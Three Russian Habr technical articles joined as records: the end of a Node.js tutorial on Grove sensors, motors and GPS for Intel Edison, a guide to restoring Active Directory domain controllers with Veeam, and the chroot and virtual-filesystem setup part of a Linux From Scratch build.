var UVSensor = require('jsupm_guvas12d');
// Подключаем к A0
var myUVSensor = new UVSensor.GUVAS12D(0);
var g_GUVAS12D_AREF = 5.0;// напряжение
var g_SAMPLES_PER_QUERY = 1024;
setInterval(function()
{
var val = myUVSensor.value(g_GUVAS12D_AREF, g_SAMPLES_PER_QUERY);
var valStr = parseFloat(val).toFixed(6);
var outputStr = "AREF: " + g_GUVAS12D_AREF
+ ", Voltage value (higher means more UV): "
+ valStr;
console.log(outputStr);
}, 1000);
```
В комнате с хорошим солнечным рассеянным освещением, но с закрытыми окнами, значение 0.283203. Если поднести его к окну на прямые лучи от солнца, но за тройным стеклопакетом, то значение поднимается до 0.473633. Если же открыть окно, то получается максимум 4.980469.
Прогресс бар
------------
[Grove — LED Bar](http://www.seeedstudio.com/depot/Grove-LED-Bar-p-1178.html). SKU: LED05031P
Прогресс бар состоит из 10 светодиодов. Все они зеленого цвета, кроме двух крайних, желтого и красного. Для работы лучше использовать библиотеку UPM. Она позволяет задавать сторону, где будет начальное значение и количество индикаторов, которые надо зажечь. Для управления используются оба проводника (данные и тактовые импульсы). Когда подключим к D2, это будет пин-2 и пин-3.
В следующем примере значение индикатора последовательно увеличивается, меняя каждый раз направление.
**Исходный код main.js**
```
var LEDBar = require("jsupm_my9221");
var myLEDBar = new LEDBar.MY9221(2, 3);// Разъем D2 (pin-D2,pin-D3)
var directionBool = true;
setInterval(function()
{
show_LED(1, directionBool);
}, 1500 );
function show_LED(level, direction)
{
if (level <= 10)
{
myLEDBar.setBarLevel(level, directionBool);
setTimeout(show_LED, 50, ++level, directionBool);
}
else
{
directionBool = !directionBool;
}
}
```
Датчик поворота 360 градусов. Энкодер
-------------------------------------
[Grove – Encoder](http://www.seeedstudio.com/depot/Grove-Encoder-p-1352.html). SKU: COM01112P
Энкодер, датчик поворота. Может поворачивать на полный оборот в любую сторону.
Для работы желательно использовать библиотеку UPM. При повороте значение будет увеличиваться, при повороте в другую сторону, уменьшаться. Значение может становиться меньше нуля. Используется два управляющих сигнала.
**Исходный код main.js**
```
var rotaryEncoder = require("jsupm_rotaryencoder");
// Подключаем к D2 (пин D2, D3)
var myRotaryEncoder = new rotaryEncoder.RotaryEncoder(2, 3);
getValue();
function getValue()
{
var v = myRotaryEncoder.position();
console.log("Position: " + v);
setTimeout(getValue,100);
}
```
Датчик освещения I2C
--------------------
[Grove — Digital Light Sensor](http://www.seeedstudio.com/depot/Grove-Digital-Light-Sensor-p-1281.html). SKU: SEN10171P
Датчик освещения. Подключается к шине I2C. Выдает значение в Люксах. По документации значения лежат в диапазоне 0-40000.
На тестах у меня получилось, что в светлой комнате значение порядка 500. На солнце через окно с жалюзи достигает 20000-40000. Если вынести на прямое солнце, то его зашкаливает и значение падает до 4000. Надо иметь это в виду.
**Исходный код main.js**
```
var digitalLightSensor = require('jsupm_tsl2561');
// сенсор TSL2561 on I2C
var myDigitalLightSensor = new digitalLightSensor.TSL2561();
setInterval(function()
{
console.log("Light value is " + myDigitalLightSensor.getLux() + ' Lux');
}, 1000);
```
Датчик газа MQ5
---------------
[Grove — Gas Sensor (MQ5)](http://www.seeedstudio.com/depot/grove-gas-sensormq5-p-938.html). SKU: SEN90502P
Датчик газа. Реагирует на жидкие растворители, природный газ. Чувствительность можно настраивать потенциометром.
Выдает аналоговое значение. Можно просто брать его, но можно использовать библиотеку UPM. Библиотека вычисляет среднее значения, выполняя серию измерений, но из-за этого вызов функции приостанавливает программу.
Особенность датчика, что он ощутимо нагревается при работе. Это особенность большинства таких детекторов. Перед началом работы датчик должен прогреться. В инструкции написано, что наилучшее время предварительного нагрева 24 часа, хотя это как-то странно.
В следующем примере подключим датчик к A0 и будем использовать UPM.
**Исходный код main.js**
```
var upmMQ5 = require("jsupm_gas");
// Подключим к A0
var myMQ5 = new upmMQ5.MQ5(0);
var threshContext = new upmMQ5.thresholdContext;
threshContext.averageReading = 0;
threshContext.runningAverage = 0;
threshContext.averagedOver = 2;
while(1)
{
var buffer = new upmMQ5.uint16Array(128);
var len = myMQ5.getSampledWindow(2, 128, buffer);
if (len)
{
var thresh = myMQ5.findThreshold(threshContext, 30, buffer, len);
myMQ5.printGraph(threshContext, 5);
}
}
```
Датчик пыли
-----------
[Grove — Dust Sensor](http://www.seeedstudio.com/depot/Grove-Dust-Sensor-p-1050.html). SKU: SEN12291P
Датчик пыли. Выдает импульсы в зависимости от запылённости воздуха. Реагирует на частицы пыли размером 1 мкм и больше. Желательно использовать библиотеку UPM.
Особенность, что функция getData получает данные в течение 30 секунд.
Вот пример его работы. Это нормальное состояние:
```
Low pulse occupancy: 1829533
Ratio: 6.0984462
Concentration: 3279.9744018259016
```
А это я потряс рядом с датчиком пыльной тряпкой:
```
Low pulse occupancy: 5541164
Ratio: 18.470549560000002
Concentration: 15240.471566321306
```
**Исходный код main.js**
```
var dustSensor = require('jsupm_ppd42ns');
// Подключаем к D2
var myDustSensor = new dustSensor.PPD42NS(2);
var data;
var notice = "This program will give readings ";
notice += "every 30 seconds until you stop it"
console.log(notice);
while(1)
{
data = myDustSensor.getData();
console.log("Low pulse occupancy: " + data.lowPulseOccupancy);
console.log("Ratio: " + data.ratio);
console.log("Concentration: " + data.concentration);
}
```
Датчик качества воздуха
-----------------------
[Grove — Air quality sensor](http://www.seeedstudio.com/depot/Grove-Air-quality-sensor-p-1065.html). SKU: SEN01111P
Датчик качества воздуха. Спроектирован для закрытых помещений. Реагирует на угарный газ, водород, алкоголь, ацетон, растворители, формальдегиды и другие токсичные газы.
Я проверял его работу со спиртом и газом из зажигалки. Он их определял.
Подключается к аналоговому входу. В примере к A0. Просто считываем значение.
**Исходный код main.js**
```
var mraa = require('mraa');
var gas = new mraa.Aio(0);
getGas();
function getGas()
{
var g = gas.read();
console.log(gas='+g);
setTimeout(getGas,500);
}
```
Датчик алкоголя
---------------
[Grove — Alcohol Sensor](http://www.seeedstudio.com/depot/Grove-Alcohol-Sensor-p-764.html). SKU: SEN21723P
Датчик алкоголя. Выдает значение на аналоговый пин. Но ему необходим еще цифровой пин, для разогрева самого датчика. Если мы будем использовать обычный шилд для датчиков, тогда на разъеме A0 будут пины A0 и A1. А пин A1 это фактически цифровой пин D15.
Перед началом работы датчик желательно прогреть в течение 2 минут.
**Исходный код main.js**
```
// датчик алкоголя MQ303A
var mq303a = require('jsupm_mq303a');
// датчик mq303a
// A0 – значение
// A1, он же D15 для разогрева
var myAlcoholObj = new mq303a.MQ303A(0, 15);
console.log("Enabling heater and waiting 2 minutes for warmup.");
// Покажем сообщения ожидания через 30 секунд
statusMessage(1);
statusMessage(2);
statusMessage(3);
function statusMessage(amt)
{
setTimeout(function()
{
console.log((amt * 30) + " seconds have passed");
}, 30000 * amt);
}
// запустим получение данных через 2 минуты
setTimeout(runAlcoholSensor, 120000);
function runAlcoholSensor()
{
var notice = "This sensor may need to warm " +
"until the value drops below about 450."
console.log(notice);
setInterval(function()
{
var val = myAlcoholObj.value();
var msg = "Alcohol detected ";
msg += "(higher means stronger alcohol): ";
console.log(msg + val);
}, 1000);
}
```
GPS модуль
----------
[Grove – GPS](http://www.seeedstudio.com/depot/Grove-GPS-p-959.html). SKU: SEN10752P
Модуль для получения данных от GPS. Этот модуль выдает данные по серийному порту. Поэтому подключаем его к разъему, который может работать как последовательный порт. Это разъем с надписью UART.
Данные передает в текстовом виде в формате NMEA 0183. Описание полей можно посмотреть [здесь](http://www.gpsinformation.org/dale/nmea.htm).
Вот примерный вывод с модуля:
```
$GPGGA,183227.000,5619.7971,N,04400.5751,E,2,4,3.28,36.7,M,9.4,M,0000,0000*59
$GPGSA,A,3,16,27,19,22,,,,,,,,,3.43,3.28,0.99*05
$GPGSV,3,1,12,18,73,111,,27,61,264,22,22,56,212,26,21,41,107,*70
$GPGSV,3,2,12,19,38,302,22,15,30,054,,16,16,234,25,20,12,062,*78
$GPGSV,3,3,12,13,11,026,,14,06,169,,30,03,340,,04,03,281,*7A
$GPRMC,183227.000,A,5619.7971,N,04400.5751,E,0.00,87.99,230615,,,D*53
```
Для нас интересна последняя строка с $GPRMC
183227 – время 18:32:27 в UTC.
5619.7971,N — широта
04400.5751,E – долгота
Эти данные можно использовать, например, в картах yandex maps, указав их в строке поиска в следующем формате:
```
N56 19.7971 E44 00.5751
```
Если спутники не обнаружены, то вывод будет примерно такой:
```
$GPGGA,235958.800,,,,,0,0,,,M,,M,,*40
$GPGSA,A,1,,,,,,,,,,,,,,,*1E
$GPGSV,1,1,00*79
$GPRMC,235958.800,V,,,,,0.00,0.00,050180,,,N*49
```
Эта программа использует для работы библиотеку serialport, поэтому ее надо указать в зависимостях в файле package.json:
**Исходный код package.json**
```
{
"name": "OnboardLEDBlink",
"description": "",
"version": "0.0.0",
"main": "main.js",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"serialport" : "1.7.4"
}
}
```
Следующий пример, просто выводит на консоль данные получаемые от GPS модуля.
**Исходный код main.js**
```
var mraa = require('mraa'); //require mraa
var uartdev = new mraa.Uart(0);
var com = require('serialport');
// получим путь к UART
var portName = uartdev.getDevicePath();// '/dev/ttyMFD1';
var serialPort = new com.SerialPort(portName, {
baudrate: 9600,
dataBits: 8,
parity: 'none',
stopBits: 1,
flowControl: false
});
serialPort.on('open',function(){
console.log('Port open');
serialPort.write('\n');
});
serialPort.on('data', function(data){
console.log(data.toString());
console.log('---');
});
serialPort.on('close', function() {
console.log('close');
});
serialPort.on('close', function(error) {
console.log('error='+error);
});
```
Следующий пример посложнее, так как в нем сделан разбор получаемых данных, чтобы извлечь из них географические координаты и вывести их на ЖК-экран.
**Исходный код main.js**
```
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(0,0,0);
var mraa = require('mraa'); //require mraa
var uartdev = new mraa.Uart(0);
var com = require('serialport');
var portName = uartdev.getDevicePath();// '/dev/ttyMFD1';
var serialPort = new com.SerialPort(portName, {
baudrate: 9600, // default for serial communication
dataBits: 8,
parity: 'none',
stopBits: 1,
flowControl: false,
parser: com.parsers.readline('\r\n')
});
serialPort.on('open',function() {
console.log('Port open');
serialPort.write('\n');
});
serialPort.on('data', function(data) {
console.log(data.toString());
console.log('---');
var str = data.toString();
var vals = str.split(',');
if( vals[0] === '$GPRMC' )
{
var tm = vals[1].split('.')[0];
var lat = parseFloat(parseFloat(vals[3])).toFixed(1);
var latS = vals[4];
var lon = parseFloat(parseFloat(vals[5])).toFixed(1);
var lonS = vals[6];
//var time= Math.floor(tm);
var time = [tm.substring(0,2),
tm.substring(2,4),
tm.substring(4,6)].join(':');
var str1 = 'time='+time;
var str21 = latS+lat.substr(0,2) +' ' + lat.substr(2);
var str22 = lonS+lon.substr(0,2) +' ' + lon.substr(2);
var str2 = str21 + ' ' + str22;
lcd.setCursor(0,0);
lcd.write(str1);
lcd.setCursor(1,0);
lcd.write(str2);
console.log('time=' + time + ' lat=' + lat + latS + ' lon=' + lon + lonS);
console.log(str1);
console.log(str2);
}
});
serialPort.on('close', function() {
console.log('close');
});
serialPort.on('close', function(error) {
console.log('error='+error);
});
```
Драйвер мотора
--------------
[Grove — I2C Motor Driver](http://www.seeedstudio.com/depot/Grove-I2C-Motor-Driver-p-907.html). SKU: ROB72212P
Драйвер мотора позволяет подключать или два обычных мотора или один четырех проводной двух фазный шаговый двигатель. Управление производится по шине I2C. Ток может быть до 2А на канал. При таком большом токе микросхемы могут нагреваться. На плате есть кнопка, которая позволяет остановить двигатели.
На плате есть переключатели, которые задают адрес I2C устройства на шине. По умолчанию он установлен в 1111, что равно 15.
На плате есть разъем для подключения питания. Двигатели запитываются от отдельного источника питания. Поэтому это могут быть двигатели на напряжение отличное от 5 В. В наших примерах, мы будем подавать на него напряжение с самой платы Intel Edison, так проще.
При работе с библиотекой UPM параметры для двигателей задаются сразу парой.
Вначале надо задать направление для каждого двигателя.
```
my_MotorDriver_obj1.setMotorDirections(
groveMotorDriver_lib.GroveMD.DIR_CCW,
groveMotorDriver_lib.GroveMD.DIR_CW);
```
После этой команды первый двигатель будет вращаться против часовой стрелки, а второй по часовой стрелке.
Затем можно задать скорость вращения 0-255. При значении 255 будет подано полное напряжение на двигатель.
```
my_MotorDriver_obj1.setMotorSpeeds(255, 127);
```
Первый двигатель будет вращаться на полной скорости, второй на половинной.
В следующем примере включим второй двигатель против часовой стрелки на половинном напряжении.
**Исходный код main.js**
```
var groveMotorDriver_lib = require('jsupm_grovemd');
var i2c_addr1 = 15;
var my_MotorDriver_obj1 = new groveMotorDriver_lib.GroveMD(
groveMotorDriver_lib.GROVEMD_I2C_BUS,
i2c_addr1
);
my_MotorDriver_obj1.setMotorDirections(
groveMotorDriver_lib.GroveMD.DIR_CCW,
groveMotorDriver_lib.GroveMD.DIR_CCW);
my_MotorDriver_obj1.setMotorSpeeds(0, 127);
```
Двигатель
---------
[Planet Geared Motor F280](http://www.seeedstudio.com/depot/Planet-Geared-Motor-F280-p-2018.html). SKU: 316070006
Двигатель со встроенным редуктором. Рабочее напряжение 3-24 В. Частота вращения 80-800 об/мин. Мы будем подавать на него 5В, так как не используем внешнего источника питания. При работе от драйвера мотора и выставленном значении 255, его скорость вращения около 120 об/мин.
У мотора нет разъема для подключения, только контакты, поэтому надо припаять провода.
Следующий пример использует датчик поворота (энкодер), для управления скоростью и направлением вращения двигателя. На ЖК-экран выводится значение, подаваемое на мотор.
Датчик поворота подключаем к D4. ЖК-экран к I2C. Драйвер мотора к I2C.
**Исходный код main.js**
```
var groveMotorDriver_lib = require('jsupm_grovemd');
var rotaryEncoder = require("jsupm_rotaryencoder");
var myRotaryEncoder = new rotaryEncoder.RotaryEncoder(4, 5);
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(0,0,0);
var i2c_addr1 = 15;
var my_MotorDriver_obj1 = new groveMotorDriver_lib.GroveMD(
groveMotorDriver_lib.GROVEMD_I2C_BUS,
i2c_addr1
);
my_MotorDriver_obj1.setMotorDirections(
groveMotorDriver_lib.GroveMD.DIR_CCW,
groveMotorDriver_lib.GroveMD.DIR_CCW);
my_MotorDriver_obj1.setMotorSpeeds(0, 0);
checkButton();
function checkButton()
{
var v = myRotaryEncoder.position();
var speed = v*10;
if( speed < -255 )
{
speed = -255;
}
if( speed > 255)
{
speed = 255;
}
var dir;
if( speed > 0)
{
dir = groveMotorDriver_lib.GroveMD.DIR_CCW;
}
else
{
speed = -speed;
dir = groveMotorDriver_lib.GroveMD.DIR_CW;
}
my_MotorDriver_obj1.setMotorDirections( 0, dir);
my_MotorDriver_obj1.setMotorSpeeds(0, speed);
lcd.setCursor(0,0);
lcd.write('v='+v+' ');
lcd.setCursor(1,0);
lcd.write('speed='+speed+' ');
setTimeout(checkButton,100);
}
```
Мини насос
----------
[6V mini water pump](http://www.seeedstudio.com/depot/6V-Mini-Water-Pump-p-1945.html). SKU: 114990073
Водный насос. Содержит мотор, которым можно управлять через драйвер мотора.
Для подключения воды можно использовать 4 мм трубки.
У мотора нет разъема для подключения, только контакты, поэтому надо припаять провода.
Напряжение питания 6 В, поэтому можно воспользоваться напряжением 5 В с платы.
Не рекомендуется включать насос без воды, так как могут испортится пластмассовые лепестки внутри. При подключении питания надо соблюдать полярность. Положительный контакт помечен красной точкой. При таком подключении вода забирается через нижнее отверстие, а выходит через боковое. Можно ли включать в обратную сторону, в документации не сказано.
Следующий пример похож на предыдущий с мотором. В нем так же используется датчик поворота и ЖК-экран. Отличие в том, что двигатель не меняет направление вращения.
**Исходный код main.js**
```
var groveMotorDriver_lib = require('jsupm_grovemd');
var rotaryEncoder = require("jsupm_rotaryencoder");
var myRotaryEncoder = new rotaryEncoder.RotaryEncoder(4, 5);
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(0,0,0);
var i2c_addr1 = 15;
var my_MotorDriver_obj1 = new groveMotorDriver_lib.GroveMD(
groveMotorDriver_lib.GROVEMD_I2C_BUS,
i2c_addr1
);
my_MotorDriver_obj1.setMotorDirections(
groveMotorDriver_lib.GroveMD.DIR_CCW,
groveMotorDriver_lib.GroveMD.DIR_CCW);
checkButton();
// 255 - 2 об в сек
//my_MotorDriver_obj1.setMotorSpeeds(0, 127); //set the speeds of the motors on board 1
function checkButton()
{
var v = 10 * myRotaryEncoder.position();
if( v < 0 )
{
v = 0;
}
if( v > 255)
{
v = 255;
}
my_MotorDriver_obj1.setMotorSpeeds(0, v);
lcd.setCursor(0,0);
lcd.write('Speed='+v+' ');
setTimeout(checkButton,100);
}
```
Вот вам датчики, как говорится, на все случаи жизни. Экспериментируйте на здоровье! | https://habr.com/ru/post/261123/ | null | ru | null |
# Восстановление контроллера домена из резервной копии с помощью Veeam
Продолжаем публикацию серии статей, написанных коллегой для корпоративного блога и посвященных резервному копированию и восстановлению контроллеров домена и собственно Active Directory.
В предыдущей [статье](https://habrahabr.ru/company/veeam/blog/309904/) из этой серии рассказывалось о процедуре бэкапе физических и виртуальных контроллеров домена (DC). Сегодня поговорим об их восстановлении.
Сразу скажу, что этот пост не является руководством по восстановлению Active Directory. Его задача — рассказать о том, что необходимо учитывать при восстановлении AD или конкретного контроллера домена из резервной копии, а также показать, как можно выполнить эти действия с помощью решений Veeam.
Доскональное знание своей инфраструктуры очень помогает при планировании восстановления AD. Вот лишь часть вопросов, ответы на которые вам необходимо знать, чтобы успешно восстанавливать данные:
* Сколько контроллеров домена в вашей среде — один или несколько?
* Это контроллеры домена, доступные для чтения и записи (RWDC) или только для чтения (RODC)?
* Вышел из строя только один контроллер, или повреждена вся инфраструктура AD?
* Если у вас несколько контроллеров, используете ли вы для синхронизации изменений между разными контроллерами домена службу репликации файлов (FRS) или перешли на распределенную DFSR для синхронизации изменений между разными контроллерами домена?
*Примечание:* Начиная с Windows Server 2008, репликация DFSR стала вариантом настройки по умолчанию для репликации каталога SYSVOL.
Восстановление виртуализованного контроллера домена
===================================================
Собираясь восстанавливать контроллер домена, необходимо сначала определить, будет ли достаточен режим **non-authoritative** или потребуется воспользоваться режимом **authoritative**.
Разница между этими двумя режимами заключается в том, что при режиме восстановлении **non-authoritative** контроллер домена понимает, что он был в течение некоторого времени отключен. Поэтому он позволяет другим контроллерам обновить его базу данных, внеся в нее последние изменения, произошедшие во время его отсутствия. А при **authoritative** восстановлении контроллер считает, что только на нем имеется истинно верная база данных, поэтому именно он получает полномочия на обновление баз данных других контроллеров домена на основе своих данных.
В большинстве сценариев восстановления вам потребуется режим **non-authoritative**, поскольку в среде имеется несколько контроллеров домена. (Кроме того, **authoritative** восстановление может привести к новым проблемам.)
Именно на этом основана логика Veeam Backup & Replication: по умолчанию выполняется **non-authoritative** восстановление, поскольку считается, что инфраструктура выстроена с избыточностью и включает в себя несколько контроллеров.
Чтобы выполнить **authoritative** восстановление с помощью Veeam, необходимо осуществить некоторые дополнительные действия, которые будут описаны позже.
*Полезно:* Еще один распространенный вариант действий при отказе контроллера домена — распределить его роли между другими контроллерами и очистить метаданные, если восстановление маловероятно. В этом случае вы поручаете другим DC выполнять функции отказавшего, и вам не нужно его восстанавливать.
#### Восстановление в режиме «non-authoritative»
Итак, вернемся к файлам резервных копий, создание которых было описано в предыдущей статье. Для того, чтобы восстановить контроллер домена из резервной копии Veeam Backup & Replication, нужно:
1. Запустить мастер восстановления в консоли Veeam Backup.
2. Найти нужный контроллер домена.
3. Выбрать в меню восстановления вариант восстановления ВМ целиком (Restore Entire VM).
4. Указать точку восстановления.
5. Выбрать исходное или новое место восстановления.
6. Завершить процедуру.
Самое примечательное здесь, что благодаря обработке данных с учетом состояния приложений при создании резервной копии, вам больше ничего не потребуется делать. Veeam распознает контроллер домена в указанной ВМ и аккуратно восстановит его, используя вот такую последовательность действий:
1. Восстановление файлов и дисков ВМ.
2. Загрузка ОС в специальном режиме восстановления доменных сервисов (DSRM mode).
3. Применение настроек.
4. Перезапуск в обычном режиме.
Контроллер домена будет знать о восстановлении из резервной копии и предпримет соответствующие действия: существующая база данных будет объявлена недействительной, и партнеры репликации смогут обновить ее, внеся наиболее свежую информацию.
#### Восстановление в режиме «authoritative»
С большой долей вероятности вам не потребуется этот режим восстановления. Однако давайте познакомимся с ним поближе, чтобы вы поняли, почему это так.
Этот режим можно использовать, например, когда вы пытаетесь восстановить верную копию контроллера домена в среде с несколькими контроллерами домена, при том, что вся структура AD по какой-то причине повреждена (напр., вредоносное ПО, вирус и т. п.). В этой ситуации, разумеется, предпочтительно, чтобы поврежденные котроллеры домена принимали изменения от вновь восстановленного контроллера.
*Примечание:* Выполняемые действия сходны с тем, что происходит при использовании Veeam SureBackup для восстановления контроллера домена в изолированной среде.
Чтобы выполнить восстановление удаленного объекта или контейнера в режиме **authoritative** и принудить контроллер домена скопировать восстановленные данные с этого DC на другие контроллеры:
1. Выберите в Veeam операцию восстановления ВМ полностью: программа автоматически выполнит стандартное восстановление DC в режиме «non-authoritative» (см. выше).
2. При втором перезапуске DC откройте мастер загрузки (нажмите F8), выберите пункт DSRM и войдите в систему с данными учетной записи DSRM (та учетная запись, которую вы указали, когда назначали данный компьютер контроллером домена).
3. Откройте командную строку и запустите утилиту **ntdsutil**
4. Используйте следующие команды:
* `activate instance ntds;`
* затем `authoritative restore;`
* затем `restore object “distinguishedName”` или `restore subtree “distinguishedName”`
Пример: `restore subtree “OU=Branch,DC=dc,DC=lab, DC=local`
5. Подтвердите **authoritative** восстановление и перезапустите сервер после завершения операции.
Процедура **authoritative** восстановления SYSVOL (при использовании службы DFSR) осуществляется следующим образом:
1. Выполните **non-authoritative** восстановление контроллера домена (например, восстановление ВМ целиком в Veeam Backup & Replication).
2. При второй загрузке перейдите в ветку реестра **HKLM\System\CurrentControlSet\Services\DFSR**, создайте ключ **Restore**, а затем создайте строку **SYSVOL** со значением **authoritative**.
Это значение будет считано службой DFSR. Если значение не установлено, по умолчанию производится восстановление SYSVOL в режиме **non-authoritative**.
3. Перейдите к **HKLM\System\CurrentControlSet\Control\BackupRestore**, создайте ключ **SystemStateRestore**, затем создайте строку **LastRestoreId** с любым значением GUID, например, **10000000-0000-0000-0000-000000000000**.
4. Перезапустите службу DFSR.
Процедура **authoritative** восстановления SYSVOL (при использовании службы FRS):
1. Выполните **non-authoritative** восстановление контроллера домена (например, восстановление ВМ целиком в Veeam Backup & Replication).
2. При второй загрузке перейдите в ветку реестра **HKLM\System\CurrentControlSet\Services\NtFrs\Parameters\Backup/Restore\Process at Startup** и измените значение ключа **Burflag** на **000000D4 (hex)** или **212 (dec)**.
Это обеспечит принудительное копирование данных на контроллеры домена, использующие старую технологию FRS, в «authoritative» режиме. Подробнее о восстановлении FRS можно почитать [здесь](https://support.microsoft.com/ru-ru/kb/290762).
3. Перезапустите службу NTFRS.
Восстановление физического контроллера домена с Veeam Endpoint Backup
=====================================================================
Теперь немного о восстановлении физической машины из резервной копии с помощью Veeam Endpoint Backup.
Вам потребуется:
1. Заранее подготовленный аварийный загрузочный диск Veeam.
2. Доступ к самой резервной копии (на USB-носителе или сетевом диске).
*Важно!* Помните, что в данном случае особая логика Veeam Backup & Replication использоваться не будет.
После восстановления с помощью Veeam Endpoint Backup ваш контроллер домена загрузится в режиме восстановления. Вам нужно будет решить, хотите ли вы менять ключи реестра или сразу перезапустите ВМ в обычном режиме. Возможно, [эта статья базы знаний Veeam](https://www.veeam.com/kb1277) будет полезна.
[Здесь](https://habrahabr.ru/company/veeam/blog/266043/) можно прочитать о восстановлении «на голое железо» резервной копии с помощью Veeam Endpoint Backup более подробно.
Итак, мы рассмотрели восстановление отдельного контроллера домена. Однако чаще всего при работе с AD требуется восстановить случайно удаленный объект, и в этом случае восстанавливать контроллер целиком — не самый эффективный вариант. Поэтому в следующей статье я расскажу о восстановлении отдельных объектов каталога AD с помощью собственных инструментов Microsoft и утилиты Veeam Explorer для Active Directory.
Полезные ссылки:
================
* [Статья на Хабре о резервном копировании контроллера домена с помощью Veeam](https://habrahabr.ru/company/veeam/blog/309904/)
* [Статья на Хабре о работе с Veeam Endpoint Backup FREE](https://habrahabr.ru/company/veeam/blog/266043/)
* [Статья базы знаний Microsoft о восстановлении FRS](https://support.microsoft.com/ru-ru/kb/290762) | https://habr.com/ru/post/313570/ | null | ru | null |
# LFS: Темная сторона силы. Часть 2
Предисловие
===========
Итак, в [предыдущей статье](http://habrahabr.ru/post/257663/) мы начали собирать LFS, остановившись на том, что собрали временную систему, располагающую всем необходимым для дальнейшей сборки инструментарием.
Теперь мы будем собирать основную систему, выполняя по пути необходимые для работы настройки. Поскольку эта статья продолжает цикл об LFS, без особых предисловий приступим к делу.
Однако, прежде чем двигаться дальше, немного отойдем от классической схемы, предлагаемой авторами книги и сделаем вот что
```
$ su - lfs
$ wget http://roy.marples.name/downloads/dhcpcd/dhcpcd-6.7.1.tar.bz2 --directory-prefix=$LFS/sources
$ wget http://www.linuxfromscratch.org/blfs/downloads/7.7/blfs-bootscripts-20150304.tar.bz2 --directory-prefix=$LFS/sources
$ logout
```
Дело в том, что стандартная документация, касающаяся сборки базовой системы не описывает процесс настройки сети в случае, когда вы будете получать ip-адрес от DNS провайдера, или в случае, если динамический ip выдает вам ваш домашний роутер. Или в том случае, если Вы выполняете сборку под ВМ, имеющей доступ к сети через NAT.
Поэтому после того как мы соберем всё и вся, мы дополнительно установим и настроим DHCP-клиент, который позволит свеженькой системе получить ip сразу после перезагрузки и иметь таки доступ в сеть. Этот шаг относится уже к книге BLFS.
1. Chroot, Великий и Ужасный
============================
Прежде всего снова сделаем пользователя root владельцем каталога $LFS/tools
```
$ su - root
# export LFS=/mnt/lfs
# chown -R root:root $LFS/tools
```
До этого он принадлежал пользователю lfs, но этот пользователь есть в хост-системе и его нет (там пока нет ни одного пользователя!) в системе которую мы собираем. Все дальнейшие действия будут выполнятся от root в том разделе, где собирается система. В этой связи нам необходимо решить следующие проблемы
* **Проблема #1** (основная): Все пути, которые мы будем использовать должны начинаться от корня реальной системы. Это жизненно не обходимо для нормальной работы всего собранного окружения и ядра системы.
* **Проблема #2** (сопутствующая): с учетом того, что пути установки бинарных файлов в собираемой системе и хост-системе совпадают (или почти совпадают), надо «отгородить» системные каталоги хоста и собираемой системы друг от друга.
Обе проблемы решает команда chroot, которая позволяет «на ходу» изменить корневой каталог системы. Поле выполнения chroot на раздел $LFS все пути к каталогам LFS будут начинаться с "/", то есть мы создаем видимость работы в корне собираемой системы. Те каталоги, что лежат выше $LFS (то есть каталога /mnt/lfs) будут напрочь отрезаны и доступа к ним не будет. Это замечательно — все действия, выполняемые нами от root не затронут хост-систему. Но нам понадобится доступ к VFS — виртуальной файловой системе хост-машины, образованную каталогами /dev, /proc, /sys и /run. Мы же помним об одной из базовых концепций unix — «всё есть файл». Нам понадобится доступ к оборудованию и системным ресурсам, а он производится посредством работы с объектами VFS.
Доступ к каталогам хост-системы из chroot возможен, если предварительно примонтировать необходимые каталоги к соответствующим каталогам LFS. Для этого выполним следующие операции. Создадим точки монтирования VFS
```
# mkdir -pv $LFS/{dev,proc,sys,run}
```
Создаем символьные устройства /dev/console и /dev/null
```
# mknod -m 600 $LFS/dev/console c 5 1
# mknod -m 666 $LFS/dev/null c 1 3
```
Ключ *-m* определяет права досутпа к файлу устройства; *с* — указывает на то, что устройство является символьным, а последующие цифры — мажорный и минорный номер устройства. Первый характеризует тип символьного устройства, второй — номер устройства в системе.
/dev/console обеспечивает работу системы с терминалом, /dev/null чаще всего используется для получения данных из пустого файла, или для перенаправления вывода «в никуда».
Теперь специальным образом смонтируем виртуальную файловую систему. Такое монтирование часто называют «биндингом» — при его выполнении содержимое монтируемой директории отображается на каталог, указанный в качестве точки монтирования
```
# mount -v --bind /dev $LFS/dev
```
Теперь наша временная система будет иметь доступ к файлам устройств. Монтируем остальные узлы VFS
```
# mount -vt devpts devpts $LFS/dev/pts -o gid=5,mode=620
# mount -vt proc proc $LFS/proc
# mount -vt sysfs sysfs $LFS/sys
# mount -vt tmpfs tmpfs $LFS/run
```
/dev/pts — файловая система, обеспечивающая доступ к псевдотерминалам. Она монтируется с идентификатором gid=5 группы tty c правами доступа 620 (-rw- -r- ---).
/proc — виртуальная файловая система, содержащая информацию о процессах, запущенных в системе.
/sys — виртуальная файловая система, добавляющая в пространство пользователя информацию об устройствах и драйверах, присутствующих в системе
/run — виртуальная файловая система, предназначенная для создания временных файлов на ранних этапах загрузки системы. Раньше подобные файлы создавались в /dev, однако по инициативе Ленарда Поттеринга, в связи с продвижением systemd для указанной цели был добавлен дополнительный каталог.
Кроме того, в некоторых хост системах в /dev могут существовать символические ссылки на /run/shm — временные файлы для доступа к разделяемой памяти. Проверяем их наличие на нашем хосте, и при необходимости создаем в во временной системе
```
$ if [ -h $LFS/dev/shm ]; then
> mkdir -pv $LFS/$(readlink $LFS/dev/shm)
> fi
```
Теперь после «чрута» мы получим структуру, схематично показанную на нижеследующем рисунке.
*Дерево каталогов LFS по отношению к хост-системе*
Собственно теперь выполняем вход во временную систему
```
# chroot "$LFS" /tools/bin/env -i \
> HOME=/root \
> TERM="$TERM" \
> PS1='\u:\w\$ ' \
> PATH=/bin:/usr/bin:/sbin:/usr/sbin:/tools/bin \
> /tools/bin/bash --login +h
```
